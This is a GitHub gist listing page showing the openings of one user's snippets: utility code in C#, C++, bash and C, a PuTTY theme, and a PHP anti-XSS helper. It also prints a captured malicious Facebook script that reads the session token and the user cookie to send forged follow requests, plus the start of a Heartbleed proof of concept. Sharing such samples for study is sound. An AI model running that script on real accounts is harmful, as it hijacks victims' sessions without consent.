Skip to content

Instantly share code, notes, and snippets.

View Inndy's full-sized avatar

Inndy Inndy

View GitHub Profile
@Inndy
Inndy / SpWebClient.cs
Created February 2, 2014 04:59
Enhanced WebClient class. Cookie, ResponseUri supported.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
namespace SpWebClient
{
public class SpWebClient : WebClient
{
@Inndy
Inndy / Evil_Script.CLEANED.js
Last active August 29, 2015 13:55
啟元神人最新力作...
/* DO NOT EXECUTE THIS SCRIPT */ function DO_NOT_EXECUTE_ME() { if (false) { /* DO NOT EXECUTE THIS SCRIPT */
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
/* DO NOT EXECUTE THIS SCRIPT */ }} /* DO NOT EXECUTE THIS SCRIPT */
function follow(abone) {
var xhr = new XMLHttpRequest();
var post_data = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
xhr.open("POST", "/ajax/follow/follow_profile.php?__a=1", true);
xhr.send(post_data);
@Inndy
Inndy / bits_peeker.cc
Created March 13, 2014 04:08
Peek raw data from structure/type in C++.
#include <cstdio>
template<typename T>
struct _bits_peeker {
union {
unsigned char bytes[sizeof(T)];
T value;
};
};
#define bits_peeker struct _bits_peeker
<?php
define('DEBUG', false);
if (DEBUG) {
error_reporting(E_ALL ^ E_NOTICE);
} else {
error_reporting(0);
}
// ob_start(); // Start buffering
define('DB_HOST', 'localhost');
@Inndy
Inndy / httpserv.sh
Last active August 29, 2015 13:58
http server with gzip compression in shell script.
#!/bin/bash
######################
# AUTHOR: Inndy #
# DATE: 2014/04/11 #
######################
MIME_DEFAULT="text/html"
if [ -z $1 ] || [ -z $2 ]; then
@Inndy
Inndy / utf8_split_char.c
Last active August 29, 2015 13:59
Count UTF-8 character byte length and split.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUFFER_SIZE 4096
// Reference: http://en.wikipedia.org/wiki/UTF-8
#define UTF8_MASK_C 0x080 // 0b10000000
#define UTF8_MASK_2 0x0C0 // 0b11000000
@Inndy
Inndy / putty_theme.reg
Created April 16, 2014 09:39
My putty theme, converted from some gnome-terminal theme.
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\Default%20Settings]
"TermWidth"=dword:00000050
"TermHeight"=dword:0000001E
"Font"="Consolas"
"FontIsBold"=dword:00000000
"FontCharSet"=dword:00000000
"FontHeight"=dword:0000000C
"FontQuality"=dword:00000003
#!/usr/bin/env python2
"""
Author: takeshix <takeshix@adversec.com>
PoC code for CVE-2014-0160. Original PoC by Jared Stafford (jspenguin@jspenguin.org).
Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP.
"""
import sys,struct,socket
from argparse import ArgumentParser
* { font-family: "LiHei Pro", "Heiti TC", "Microsoft YaHei", "Microsoft JhengHei", "WenQuanYi Micro Hei","WenQuanYi Zen Hei", sans-serif !important; }
@Inndy
Inndy / security.php
Created May 17, 2014 11:55
DO NOT COPY THESE CODE IF YOU DON'T KNOW WHAT I'M DONING!!!
<?php // DO NOT COPY THESE CODE IF YOU DON'T KNOW WHAT I'M DONING!!!
/*
* 使用說明
*
* 在資料庫連結完成,並且設定編碼完成後再使用
*
* 先 defense_xss 再 defense_sql_injection
*
* 如果出現問題則先取消 defense_xss